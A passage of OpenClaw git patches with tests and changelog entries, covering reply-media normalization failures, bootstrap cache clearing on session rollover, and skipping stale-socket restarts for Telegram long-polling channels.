messagingToolSentMediaUrls, }) : dedupedPayloads; // Filter out payloads already sent via pipeline or directly during tool flush. From c943747d6b28a0d66273b56c34d13dc4585311f3 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 10:43:31 +0530 Subject: [PATCH 096/844] fix: contain final reply media normalization failures --- .../reply/agent-runner-payloads.test.ts | 29 ++++++++++++++++++ src/auto-reply/reply/agent-runner-payloads.ts | 30 ++++++++++++++++++- 2 files changed, 58 insertions(+), 1 deletion(-) diff --git a/src/auto-reply/reply/agent-runner-payloads.test.ts b/src/auto-reply/reply/agent-runner-payloads.test.ts index e067b01a589..94088b2b5b8 100644 --- a/src/auto-reply/reply/agent-runner-payloads.test.ts +++ b/src/auto-reply/reply/agent-runner-payloads.test.ts @@ -58,6 +58,35 @@ describe("buildReplyPayloads media filter integration", () => { }); }); + it("drops only invalid media when reply media normalization fails", async () => { + const normalizeMediaPaths = async (payload: { mediaUrl?: string }) => { + if (payload.mediaUrl === "./bad.png") { + throw new Error("Path escapes sandbox root"); + } + return payload; + }; + + const { replyPayloads } = await buildReplyPayloads({ + ...baseParams, + payloads: [ + { text: "keep text", mediaUrl: "./bad.png", audioAsVoice: true }, + { text: "keep second" }, + ], + normalizeMediaPaths, + }); + + expect(replyPayloads).toHaveLength(2); + expect(replyPayloads[0]).toMatchObject({ + text: "keep text", + mediaUrl: undefined, + mediaUrls: undefined, + audioAsVoice: false, + }); + expect(replyPayloads[1]).toMatchObject({ + text: "keep second", + }); + }); + it("applies media filter after text filter", async () => { const { replyPayloads } = await buildReplyPayloads({ ...baseParams, diff --git a/src/auto-reply/reply/agent-runner-payloads.ts b/src/auto-reply/reply/agent-runner-payloads.ts index 8ed02bdf454..263dea9fd54 100644 --- a/src/auto-reply/reply/agent-runner-payloads.ts +++ b/src/auto-reply/reply/agent-runner-payloads.ts @@ -20,6 +20,31 @@ import { shouldSuppressMessagingToolReplies, } from "./reply-payloads.js"; +function hasPayloadMedia(payload: ReplyPayload): boolean { + return Boolean(payload.mediaUrl) || (payload.mediaUrls?.length ?? 0) > 0; +} + +async function normalizeReplyPayloadMedia(params: { + payload: ReplyPayload; + normalizeMediaPaths?: (payload: ReplyPayload) => Promise; +}): Promise { + if (!params.normalizeMediaPaths || !hasPayloadMedia(params.payload)) { + return params.payload; + } + + try { + return await params.normalizeMediaPaths(params.payload); + } catch (err) { + logVerbose(`reply payload media normalization failed: ${String(err)}`); + return { + ...params.payload, + mediaUrl: undefined, + mediaUrls: undefined, + audioAsVoice: false, + }; + } +} + async function normalizeSentMediaUrlsForDedupe(params: { sentMediaUrls: string[]; normalizeMediaPaths?: (payload: ReplyPayload) => Promise; @@ -126,7 +151,10 @@ export async function buildReplyPayloads(params: { silentToken: SILENT_REPLY_TOKEN, parseMode: "always", }).payload; - return params.normalizeMediaPaths ? await params.normalizeMediaPaths(parsed) : parsed; + return await normalizeReplyPayloadMedia({ + payload: parsed, + normalizeMediaPaths: params.normalizeMediaPaths, + }); }), ) ).filter(isRenderablePayload); From e802840b62eebb388f106f3ea1af7b0dbdc89ffd Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 10:51:51 +0530 Subject: [PATCH 097/844] docs: update changelog for reply media delivery (#38572) --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ed41f61c5fa..d15297a447b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -224,6 +224,7 @@ Docs: https://docs.openclaw.ai - Gateway/transient network classification: treat wrapped `...: fetch failed` transport messages as transient while avoiding broad matches like `Web fetch failed (404): ...`, preventing Discord reconnect wrappers from crashing the gateway without suppressing non-network tool failures. (#38530) Thanks @xinhuagu. - ACP/console silent reply suppression: filter ACP `NO_REPLY` lead fragments and silent-only finals before `openclaw agent` logging/delivery so console-backed ACP sessions no longer leak `NO`/`NO_REPLY` placeholders. (#38436) Thanks @ql-wade. - Feishu/reply delivery reliability: disable block streaming in Feishu reply options so plain-text auto-render replies are no longer silently dropped before final delivery. (#38258) Thanks @xinhuagu. +- Agents/reply MEDIA delivery: normalize local assistant `MEDIA:` paths before block/final delivery, keep media dedupe aligned with message-tool sends, and contain malformed media normalization failures so generated files send reliably instead of falling back to empty responses. (#38572) Thanks @obviyus. ## 2026.3.2 From 2e31aead39ddd666dfced4e0fad854450aa46fbc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=8B=90=E7=88=B7=26=26=E8=80=81=E6=8B=90=E7=98=A6?= Date: Sat, 7 Mar 2026 13:46:02 +0800 Subject: [PATCH 098/844] fix(gateway): invalidate bootstrap cache on session rollover (openclaw#38535) Verified: - pnpm install --frozen-lockfile - pnpm build - pnpm check - pnpm test:macmini Co-authored-by: yfge <1186273+yfge@users.noreply.github.com> Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com> --- CHANGELOG.md | 1 + src/agents/bootstrap-cache.ts | 11 +++++++++++ src/auto-reply/reply/session.test.ts | 16 ++++++++++++++++ src/auto-reply/reply/session.ts | 5 +++++ src/commands/agent/session.ts | 6 ++++++ src/cron/isolated-agent/session.test.ts | 19 ++++++++++++++++++- src/cron/isolated-agent/session.ts | 6 ++++++ 7 files changed, 63 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d15297a447b..da341abad8f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -225,6 +225,7 @@ Docs: https://docs.openclaw.ai - ACP/console silent reply suppression: filter ACP `NO_REPLY` lead fragments and silent-only finals before `openclaw agent` logging/delivery so console-backed ACP sessions no longer leak `NO`/`NO_REPLY` placeholders. (#38436) Thanks @ql-wade. - Feishu/reply delivery reliability: disable block streaming in Feishu reply options so plain-text auto-render replies are no longer silently dropped before final delivery. (#38258) Thanks @xinhuagu. - Agents/reply MEDIA delivery: normalize local assistant `MEDIA:` paths before block/final delivery, keep media dedupe aligned with message-tool sends, and contain malformed media normalization failures so generated files send reliably instead of falling back to empty responses. (#38572) Thanks @obviyus. +- Sessions/bootstrap cache rollover invalidation: clear cached workspace bootstrap snapshots whenever an existing `sessionKey` rolls to a new `sessionId` across auto-reply, command, and isolated cron session resolvers, so `AGENTS.md`/`MEMORY.md`/`USER.md` updates are reloaded after daily, idle, or forced session resets instead of staying stale until gateway restart. (#38494) Thanks @LivingInDrm. ## 2026.3.2 diff --git a/src/agents/bootstrap-cache.ts b/src/agents/bootstrap-cache.ts index 03c4a923464..98ca267994f 100644 --- a/src/agents/bootstrap-cache.ts +++ b/src/agents/bootstrap-cache.ts @@ -20,6 +20,17 @@ export function clearBootstrapSnapshot(sessionKey: string): void { cache.delete(sessionKey); } +export function clearBootstrapSnapshotOnSessionRollover(params: { + sessionKey?: string; + previousSessionId?: string; +}): void { + if (!params.sessionKey || !params.previousSessionId) { + return; + } + + clearBootstrapSnapshot(params.sessionKey); +} + export function clearAllBootstrapSnapshots(): void { cache.clear(); } diff --git a/src/auto-reply/reply/session.test.ts b/src/auto-reply/reply/session.test.ts index 58d6b893267..db0870b704a 100644 --- a/src/auto-reply/reply/session.test.ts +++ b/src/auto-reply/reply/session.test.ts @@ -2,6 +2,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import * as bootstrapCache from "../../agents/bootstrap-cache.js"; import { buildModelAliasIndex } from "../../agents/model-selection.js"; import type { OpenClawConfig } from "../../config/config.js"; import type { SessionEntry } from "../../config/sessions.js"; @@ -850,11 +851,18 @@ describe("initSessionState RawBody", () => { }); describe("initSessionState reset policy", () => { + let clearBootstrapSnapshotOnSessionRolloverSpy: ReturnType; + beforeEach(() => { vi.useFakeTimers(); + clearBootstrapSnapshotOnSessionRolloverSpy = vi.spyOn( + bootstrapCache, + "clearBootstrapSnapshotOnSessionRollover", + ); }); afterEach(() => { + clearBootstrapSnapshotOnSessionRolloverSpy.mockRestore(); vi.useRealTimers(); }); @@ -881,6 +889,10 @@ describe("initSessionState reset policy", () => { expect(result.isNewSession).toBe(true); expect(result.sessionId).not.toBe(existingSessionId); + expect(clearBootstrapSnapshotOnSessionRolloverSpy).toHaveBeenCalledWith({ + sessionKey, + previousSessionId: existingSessionId, + }); }); it("treats sessions as stale before the daily reset when updated before yesterday's boundary", async () => { @@ -1057,6 +1069,10 @@ describe("initSessionState reset policy", () => { expect(result.isNewSession).toBe(false); expect(result.sessionId).toBe(existingSessionId); + expect(clearBootstrapSnapshotOnSessionRolloverSpy).toHaveBeenCalledWith({ + sessionKey, + previousSessionId: undefined, + }); }); }); diff --git a/src/auto-reply/reply/session.ts b/src/auto-reply/reply/session.ts index a0e730334e2..6db6b1708cb 100644 --- a/src/auto-reply/reply/session.ts +++ b/src/auto-reply/reply/session.ts @@ -5,6 +5,7 @@ import { parseTelegramChatIdFromTarget, } from "../../acp/conversation-id.js"; import { resolveSessionAgentId } from "../../agents/agent-scope.js"; +import { clearBootstrapSnapshotOnSessionRollover } from "../../agents/bootstrap-cache.js"; import { normalizeChatType } from "../../channels/chat-type.js"; import type { OpenClawConfig } from "../../config/config.js"; import { @@ -358,6 +359,10 @@ export async function initSessionState(params: { // and for scheduled/daily resets where the session has become stale (!freshEntry). // Without this, daily-reset transcripts are left as orphaned files on disk (#35481). const previousSessionEntry = (resetTriggered || !freshEntry) && entry ? { ...entry } : undefined; + clearBootstrapSnapshotOnSessionRollover({ + sessionKey, + previousSessionId: previousSessionEntry?.sessionId, + }); if (!isNewSession && freshEntry) { sessionId = entry.sessionId; diff --git a/src/commands/agent/session.ts b/src/commands/agent/session.ts index 62600448af4..f3ef076d654 100644 --- a/src/commands/agent/session.ts +++ b/src/commands/agent/session.ts @@ -1,5 +1,6 @@ import crypto from "node:crypto"; import { listAgentIds } from "../../agents/agent-scope.js"; +import { clearBootstrapSnapshotOnSessionRollover } from "../../agents/bootstrap-cache.js"; import type { MsgContext } from "../../auto-reply/templating.js"; import { normalizeThinkLevel, @@ -144,6 +145,11 @@ export function resolveSession(opts: { opts.sessionId?.trim() || (fresh ? sessionEntry?.sessionId : undefined) || crypto.randomUUID(); const isNewSession = !fresh && !opts.sessionId; + clearBootstrapSnapshotOnSessionRollover({ + sessionKey, + previousSessionId: isNewSession ? sessionEntry?.sessionId : undefined, + }); + const persistedThinking = fresh && sessionEntry?.thinkingLevel ? normalizeThinkLevel(sessionEntry.thinkingLevel) diff --git a/src/cron/isolated-agent/session.test.ts b/src/cron/isolated-agent/session.test.ts index 08f273e8c41..fc75ed100f6 100644 --- a/src/cron/isolated-agent/session.test.ts +++ b/src/cron/isolated-agent/session.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; vi.mock("../../config/sessions.js", () => ({ @@ -8,6 +8,16 @@ vi.mock("../../config/sessions.js", () => ({ resolveSessionResetPolicy: vi.fn().mockReturnValue({ mode: "idle", idleMinutes: 60 }), })); +vi.mock("../../agents/bootstrap-cache.js", () => ({ + clearBootstrapSnapshot: vi.fn(), + clearBootstrapSnapshotOnSessionRollover: vi.fn(({ sessionKey, previousSessionId }) => { + if (sessionKey && previousSessionId) { + clearBootstrapSnapshot(sessionKey); + } + }), +})); + +import { clearBootstrapSnapshot } from "../../agents/bootstrap-cache.js"; import { loadSessionStore, evaluateSessionFreshness } from "../../config/sessions.js"; import { resolveCronSession } from "./session.js"; @@ -40,6 +50,10 @@ function resolveWithStoredEntry(params?: { } describe("resolveCronSession", () => { + beforeEach(() => { + vi.mocked(clearBootstrapSnapshot).mockReset(); + }); + it("preserves modelOverride and providerOverride from existing session entry", () => { const result = resolveWithStoredEntry({ sessionKey: "agent:main:cron:test-job", @@ -100,6 +114,7 @@ describe("resolveCronSession", () => { expect(result.sessionEntry.sessionId).toBe("existing-session-id-123"); expect(result.isNewSession).toBe(false); expect(result.systemSent).toBe(true); + expect(clearBootstrapSnapshot).not.toHaveBeenCalled(); }); it("creates new sessionId when session is stale", () => { @@ -121,6 +136,7 @@ describe("resolveCronSession", () => { expect(result.sessionEntry.modelOverride).toBe("gpt-4.1-mini"); expect(result.sessionEntry.providerOverride).toBe("openai"); expect(result.sessionEntry.sendPolicy).toBe("allow"); + expect(clearBootstrapSnapshot).toHaveBeenCalledWith("webhook:stable-key"); }); it("creates new sessionId when forceNew is true", () => { @@ -141,6 +157,7 @@ describe("resolveCronSession", () => { expect(result.systemSent).toBe(false); expect(result.sessionEntry.modelOverride).toBe("sonnet-4"); expect(result.sessionEntry.providerOverride).toBe("anthropic"); + expect(clearBootstrapSnapshot).toHaveBeenCalledWith("webhook:stable-key"); }); it("clears delivery routing metadata and deliveryContext when forceNew is true", () => { diff --git a/src/cron/isolated-agent/session.ts b/src/cron/isolated-agent/session.ts index b1c9fe3710d..c7bde5cea2d 100644 --- a/src/cron/isolated-agent/session.ts +++ b/src/cron/isolated-agent/session.ts @@ -1,4 +1,5 @@ import crypto from "node:crypto"; +import { clearBootstrapSnapshotOnSessionRollover } from "../../agents/bootstrap-cache.js"; import type { OpenClawConfig } from "../../config/config.js"; import { evaluateSessionFreshness, @@ -58,6 +59,11 @@ export function resolveCronSession(params: { systemSent = false; } + clearBootstrapSnapshotOnSessionRollover({ + sessionKey: params.sessionKey, + previousSessionId: isNewSession ? entry?.sessionId : undefined, + }); + const sessionEntry: SessionEntry = { // Preserve existing per-session overrides even when rolling to a new sessionId. ...entry, From a5c07fa1157d744a0c56d0a734d153f5e45fcd46 Mon Sep 17 00:00:00 2001 From: ql-wade Date: Sat, 7 Mar 2026 14:20:34 +0800 Subject: [PATCH 099/844] fix(gateway): skip stale-socket restarts for Telegram polling (openclaw#38405) Verified: - pnpm build - pnpm check - pnpm test:macmini Co-authored-by: ql-wade <262266039+ql-wade@users.noreply.github.com> --- CHANGELOG.md | 1 + src/gateway/channel-health-monitor.ts | 1 + src/gateway/channel-health-policy.test.ts | 26 +++++++++++++++++++++++ src/gateway/channel-health-policy.ts | 24 ++++++++++++++------- src/gateway/server/readiness.test.ts | 22 +++++++++++++++++++ src/gateway/server/readiness.ts | 11 +++++----- 6 files changed, 72 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index da341abad8f..7c2b98df354 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -226,6 +226,7 @@ Docs: https://docs.openclaw.ai - Feishu/reply delivery reliability: disable block streaming in Feishu reply options so plain-text auto-render replies are no longer silently dropped before final delivery. (#38258) Thanks @xinhuagu. - Agents/reply MEDIA delivery: normalize local assistant `MEDIA:` paths before block/final delivery, keep media dedupe aligned with message-tool sends, and contain malformed media normalization failures so generated files send reliably instead of falling back to empty responses. (#38572) Thanks @obviyus. - Sessions/bootstrap cache rollover invalidation: clear cached workspace bootstrap snapshots whenever an existing `sessionKey` rolls to a new `sessionId` across auto-reply, command, and isolated cron session resolvers, so `AGENTS.md`/`MEMORY.md`/`USER.md` updates are reloaded after daily, idle, or forced session resets instead of staying stale until gateway restart. (#38494) Thanks @LivingInDrm. +- Gateway/Telegram polling health monitor: skip stale-socket restarts for Telegram long-polling channels and thread channel identity through shared health evaluation so polling connections are not restarted on the WebSocket stale-socket heuristic. (#38395) Thanks @ql-wade and @Takhoffman. ## 2026.3.2 diff --git a/src/gateway/channel-health-monitor.ts b/src/gateway/channel-health-monitor.ts index 4ed422468f0..fb8715a12f1 100644 --- a/src/gateway/channel-health-monitor.ts +++ b/src/gateway/channel-health-monitor.ts @@ -122,6 +122,7 @@ export function startChannelHealthMonitor(deps: ChannelHealthMonitorDeps): Chann continue; } const healthPolicy: ChannelHealthPolicy = { + channelId, now, staleEventThresholdMs: timing.staleEventThresholdMs, channelConnectGraceMs: timing.channelConnectGraceMs, diff --git a/src/gateway/channel-health-policy.test.ts b/src/gateway/channel-health-policy.test.ts index 71b8f7ce896..125658ae53a 100644 --- a/src/gateway/channel-health-policy.test.ts +++ b/src/gateway/channel-health-policy.test.ts @@ -10,6 +10,7 @@ describe("evaluateChannelHealth", () => { configured: true, }, { + channelId: "discord", now: 100_000, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -28,6 +29,7 @@ describe("evaluateChannelHealth", () => { lastStartAt: 95_000, }, { + channelId: "discord", now: 100_000, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -48,6 +50,7 @@ describe("evaluateChannelHealth", () => { lastRunActivityAt: now - 30_000, }, { + channelId: "discord", now, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -68,6 +71,7 @@ describe("evaluateChannelHealth", () => { lastRunActivityAt: now - 26 * 60_000, }, { + channelId: "discord", now, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -90,6 +94,7 @@ describe("evaluateChannelHealth", () => { lastRunActivityAt: now - 31_000, }, { + channelId: "discord", now, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -109,6 +114,7 @@ describe("evaluateChannelHealth", () => { lastEventAt: null, }, { + channelId: "discord", now: 100_000, channelConnectGraceMs: 10_000, staleEventThresholdMs: 30_000, @@ -116,6 +122,26 @@ describe("evaluateChannelHealth", () => { ); expect(evaluation).toEqual({ healthy: false, reason: "stale-socket" }); }); + + it("skips stale-socket detection for telegram long-polling channels", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: 0, + lastEventAt: null, + }, + { + channelId: "telegram", + now: 100_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); + expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); + }); }); describe("resolveChannelRestartReason", () => { diff --git a/src/gateway/channel-health-policy.ts b/src/gateway/channel-health-policy.ts index d0616f04862..80b0b3546ad 100644 --- a/src/gateway/channel-health-policy.ts +++ b/src/gateway/channel-health-policy.ts @@ -1,3 +1,5 @@ +import type { ChannelId } from "../channels/plugins/types.js"; + export type ChannelHealthSnapshot = { running?: boolean; connected?: boolean; @@ -28,6 +30,7 @@ export type ChannelHealthEvaluation = { }; export type ChannelHealthPolicy = { + channelId: ChannelId; now: number; staleEventThresholdMs: number; channelConnectGraceMs: number; @@ -97,14 +100,19 @@ export function evaluateChannelHealth( if (snapshot.connected === false) { return { healthy: false, reason: "disconnected" }; } - if (snapshot.lastEventAt != null || snapshot.lastStartAt != null) { - const upSince = snapshot.lastStartAt ?? 0; - const upDuration = policy.now - upSince; - if (upDuration > policy.staleEventThresholdMs) { - const lastEvent = snapshot.lastEventAt ?? 0; - const eventAge = policy.now - lastEvent; - if (eventAge > policy.staleEventThresholdMs) { - return { healthy: false, reason: "stale-socket" }; + // Skip stale-socket check for Telegram (long-polling mode). Each polling request + // acts as a heartbeat, so the half-dead WebSocket scenario this check is designed + // to catch does not apply to Telegram's long-polling architecture. + if (policy.channelId !== "telegram") { + if (snapshot.lastEventAt != null || snapshot.lastStartAt != null) { + const upSince = snapshot.lastStartAt ?? 0; + const upDuration = policy.now - upSince; + if (upDuration > policy.staleEventThresholdMs) { + const lastEvent = snapshot.lastEventAt ?? 0; + const eventAge = policy.now - lastEvent; + if (eventAge > policy.staleEventThresholdMs) { + return { healthy: false, reason: "stale-socket" }; + } } } } diff --git a/src/gateway/server/readiness.test.ts b/src/gateway/server/readiness.test.ts index c41f8d050f2..9e502077d20 100644 --- a/src/gateway/server/readiness.test.ts +++ b/src/gateway/server/readiness.test.ts @@ -167,6 +167,28 @@ describe("createReadinessChecker", () => { vi.useRealTimers(); }); + it("keeps telegram long-polling channels ready without stale-socket classification", () => { + vi.useFakeTimers(); + vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); + const startedAt = Date.now() - 31 * 60_000; + const manager = createManager( + snapshotWith({ + telegram: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: startedAt, + lastEventAt: null, + }, + }), + ); + + const readiness = createReadinessChecker({ channelManager: manager, startedAt }); + expect(readiness()).toEqual({ ready: true, failing: [], uptimeMs: 1_860_000 }); + vi.useRealTimers(); + }); + it("caches readiness snapshots briefly to keep repeated probes cheap", () => { vi.useFakeTimers(); vi.setSystemTime(new Date("2026-03-06T12:00:00Z")); diff --git a/src/gateway/server/readiness.ts b/src/gateway/server/readiness.ts index e6ad2d92afb..527dad24949 100644 --- a/src/gateway/server/readiness.ts +++ b/src/gateway/server/readiness.ts @@ -50,11 +50,6 @@ export function createReadinessChecker(deps: { const snapshot = channelManager.getRuntimeSnapshot(); const failing: string[] = []; - const policy: ChannelHealthPolicy = { - now, - staleEventThresholdMs: DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, - channelConnectGraceMs: DEFAULT_CHANNEL_CONNECT_GRACE_MS, - }; for (const [channelId, accounts] of Object.entries(snapshot.channelAccounts)) { if (!accounts) { @@ -64,6 +59,12 @@ export function createReadinessChecker(deps: { if (!accountSnapshot) { continue; } + const policy: ChannelHealthPolicy = { + now, + staleEventThresholdMs: DEFAULT_CHANNEL_STALE_EVENT_THRESHOLD_MS, + channelConnectGraceMs: DEFAULT_CHANNEL_CONNECT_GRACE_MS, + channelId, + }; const health = evaluateChannelHealth(accountSnapshot, policy); if (!health.healthy && !shouldIgnoreReadinessFailure(accountSnapshot, health)) { failing.push(channelId); From 8873e13f1e6f86afd5a2781d2257cc2efc2c11b2 Mon Sep 17 00:00:00 2001 From: Tak Hoffman <781889+Takhoffman@users.noreply.github.com> Date: Sat, 7 Mar 2026 00:58:08 -0600 Subject: [PATCH 100/844] fix(gateway): stop stale-socket restarts before first event (#38643) * fix(gateway): guard stale-socket restarts by event liveness * fix(gateway): centralize connect-time liveness tracking * fix(web): apply connected status patch atomically * fix(gateway): require active socket for stale checks * fix(gateway): ignore inherited stale event timestamps --- CHANGELOG.md | 1 + src/discord/monitor/provider.lifecycle.ts | 12 ++-- src/discord/monitor/provider.ts | 3 +- src/gateway/channel-health-monitor.test.ts | 20 ++++++- src/gateway/channel-health-policy.test.ts | 61 +++++++++++++++++++- src/gateway/channel-health-policy.ts | 22 +++---- src/gateway/channel-status-patches.test.ts | 12 ++++ src/gateway/channel-status-patches.ts | 15 +++++ src/slack/monitor/provider.reconnect.test.ts | 18 +++++- src/slack/monitor/provider.ts | 14 +++++ src/web/auto-reply/monitor.ts | 5 +- 11 files changed, 157 insertions(+), 26 deletions(-) create mode 100644 src/gateway/channel-status-patches.test.ts create mode 100644 src/gateway/channel-status-patches.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 7c2b98df354..3fde0f44159 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -35,6 +35,7 @@ Docs: https://docs.openclaw.ai ### Fixes +- Gateway/Telegram stale-socket restart guard: only apply stale-socket restarts to channels that publish event-liveness timestamps, preventing Telegram providers from being misclassified as stale solely due to long uptime and avoiding restart/pairing storms after upgrade. (openclaw#38464) - Onboarding/headless Linux daemon probe hardening: treat `systemctl --user is-enabled` probe failures as non-fatal during daemon install flow so onboarding no longer crashes on SSH/headless VPS environments before showing install guidance. (#37297) Thanks @acarbajal-web. - Memory/QMD mcporter Windows spawn hardening: when `mcporter.cmd` launch fails with `spawn EINVAL`, retry via bare `mcporter` shell resolution so QMD recall can continue instead of falling back to builtin memory search. (#27402) Thanks @i0ivi0i. - Tools/web_search Brave language-code validation: align `search_lang` handling with Brave-supported codes (including `zh-hans`, `zh-hant`, `en-gb`, and `pt-br`), map common alias inputs (`zh`, `ja`) to valid Brave values, and reject unsupported codes before upstream requests to prevent 422 failures. (#37260) Thanks @heyanming. diff --git a/src/discord/monitor/provider.lifecycle.ts b/src/discord/monitor/provider.lifecycle.ts index 6291d09a7b2..ffc78b40676 100644 --- a/src/discord/monitor/provider.lifecycle.ts +++ b/src/discord/monitor/provider.lifecycle.ts @@ -1,6 +1,7 @@ import type { Client } from "@buape/carbon"; import type { GatewayPlugin } from "@buape/carbon/gateway"; import { createArmableStallWatchdog } from "../../channels/transport/stall-watchdog.js"; +import { createConnectedChannelStatusPatch } from "../../gateway/channel-status-patches.js"; import { danger } from "../../globals.js"; import type { RuntimeEnv } from "../../runtime.js"; import { attachDiscordGatewayLogging } from "../gateway-logging.js"; @@ -180,8 +181,7 @@ export async function runDiscordGatewayLifecycle(params: { let sawConnected = gateway?.isConnected === true; if (sawConnected) { pushStatus({ - connected: true, - lastConnectedAt: at, + ...createConnectedChannelStatusPatch(at), lastDisconnect: null, }); } @@ -194,9 +194,7 @@ export async function runDiscordGatewayLifecycle(params: { const connectedAt = Date.now(); reconnectStallWatchdog.disarm(); pushStatus({ - connected: true, - lastEventAt: connectedAt, - lastConnectedAt: connectedAt, + ...createConnectedChannelStatusPatch(connectedAt), lastDisconnect: null, }); if (helloConnectedPollId) { @@ -253,9 +251,7 @@ export async function runDiscordGatewayLifecycle(params: { if (gateway?.isConnected && !lifecycleStopping) { const at = Date.now(); pushStatus({ - connected: true, - lastEventAt: at, - lastConnectedAt: at, + ...createConnectedChannelStatusPatch(at), lastDisconnect: null, }); } diff --git a/src/discord/monitor/provider.ts b/src/discord/monitor/provider.ts index fc24e6af1f5..c9f9f3d4b49 100644 --- a/src/discord/monitor/provider.ts +++ b/src/discord/monitor/provider.ts @@ -36,6 +36,7 @@ import { resolveDefaultGroupPolicy, warnMissingProviderGroupPolicyFallbackOnce, } from "../../config/runtime-group-policy.js"; +import { createConnectedChannelStatusPatch } from "../../gateway/channel-status-patches.js"; import { danger, logVerbose, shouldLogVerbose, warn } from "../../globals.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { createDiscordRetryRunner } from "../../infra/retry-policy.js"; @@ -752,7 +753,7 @@ export async function monitorDiscordProvider(opts: MonitorDiscordOpts = {}) { botUserId && botUserName ? `${botUserId} (${botUserName})` : (botUserId ?? botUserName ?? ""); runtime.log?.(`logged in to discord${botIdentity ? ` as ${botIdentity}` : ""}`); if (lifecycleGateway?.isConnected) { - opts.setStatus?.({ connected: true }); + opts.setStatus?.(createConnectedChannelStatusPatch()); } lifecycleStarted = true; diff --git a/src/gateway/channel-health-monitor.test.ts b/src/gateway/channel-health-monitor.test.ts index 3657dcb2c1e..6f7c8104874 100644 --- a/src/gateway/channel-health-monitor.test.ts +++ b/src/gateway/channel-health-monitor.test.ts @@ -489,16 +489,34 @@ describe("channel-health-monitor", () => { await expectNoRestart(manager); }); - it("restarts a channel that never received any event past the stale threshold", async () => { + it("restarts a channel that has seen no events since connect past the stale threshold", async () => { const now = Date.now(); const manager = createSlackSnapshotManager( runningConnectedSlackAccount({ lastStartAt: now - STALE_THRESHOLD - 60_000, + lastEventAt: now - STALE_THRESHOLD - 60_000, }), ); await expectRestartedChannel(manager, "slack"); }); + it("skips connected channels that do not report event liveness", async () => { + const now = Date.now(); + const manager = createSnapshotManager({ + telegram: { + default: { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: now - STALE_THRESHOLD - 60_000, + lastEventAt: null, + }, + }, + }); + await expectNoRestart(manager); + }); + it("respects custom staleEventThresholdMs", async () => { const customThreshold = 10 * 60_000; const now = Date.now(); diff --git a/src/gateway/channel-health-policy.test.ts b/src/gateway/channel-health-policy.test.ts index 125658ae53a..a4645a13e75 100644 --- a/src/gateway/channel-health-policy.test.ts +++ b/src/gateway/channel-health-policy.test.ts @@ -111,7 +111,7 @@ describe("evaluateChannelHealth", () => { enabled: true, configured: true, lastStartAt: 0, - lastEventAt: null, + lastEventAt: 0, }, { channelId: "discord", @@ -142,6 +142,65 @@ describe("evaluateChannelHealth", () => { ); expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); }); + + it("does not flag stale sockets for channels without event tracking", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: 0, + lastEventAt: null, + }, + { + channelId: "discord", + now: 100_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); + expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); + }); + + it("does not flag stale sockets without an active connected socket", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + enabled: true, + configured: true, + lastStartAt: 0, + lastEventAt: 0, + }, + { + channelId: "slack", + now: 100_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); + expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); + }); + + it("ignores inherited event timestamps from a previous lifecycle", () => { + const evaluation = evaluateChannelHealth( + { + running: true, + connected: true, + enabled: true, + configured: true, + lastStartAt: 50_000, + lastEventAt: 10_000, + }, + { + channelId: "slack", + now: 100_000, + channelConnectGraceMs: 10_000, + staleEventThresholdMs: 30_000, + }, + ); + expect(evaluation).toEqual({ healthy: true, reason: "healthy" }); + }); }); describe("resolveChannelRestartReason", () => { diff --git a/src/gateway/channel-health-policy.ts b/src/gateway/channel-health-policy.ts index 80b0b3546ad..d8374d04ba8 100644 --- a/src/gateway/channel-health-policy.ts +++ b/src/gateway/channel-health-policy.ts @@ -103,17 +103,17 @@ export function evaluateChannelHealth( // Skip stale-socket check for Telegram (long-polling mode). Each polling request // acts as a heartbeat, so the half-dead WebSocket scenario this check is designed // to catch does not apply to Telegram's long-polling architecture. - if (policy.channelId !== "telegram") { - if (snapshot.lastEventAt != null || snapshot.lastStartAt != null) { - const upSince = snapshot.lastStartAt ?? 0; - const upDuration = policy.now - upSince; - if (upDuration > policy.staleEventThresholdMs) { - const lastEvent = snapshot.lastEventAt ?? 0; - const eventAge = policy.now - lastEvent; - if (eventAge > policy.staleEventThresholdMs) { - return { healthy: false, reason: "stale-socket" }; - } - } + if ( + policy.channelId !== "telegram" && + snapshot.connected === true 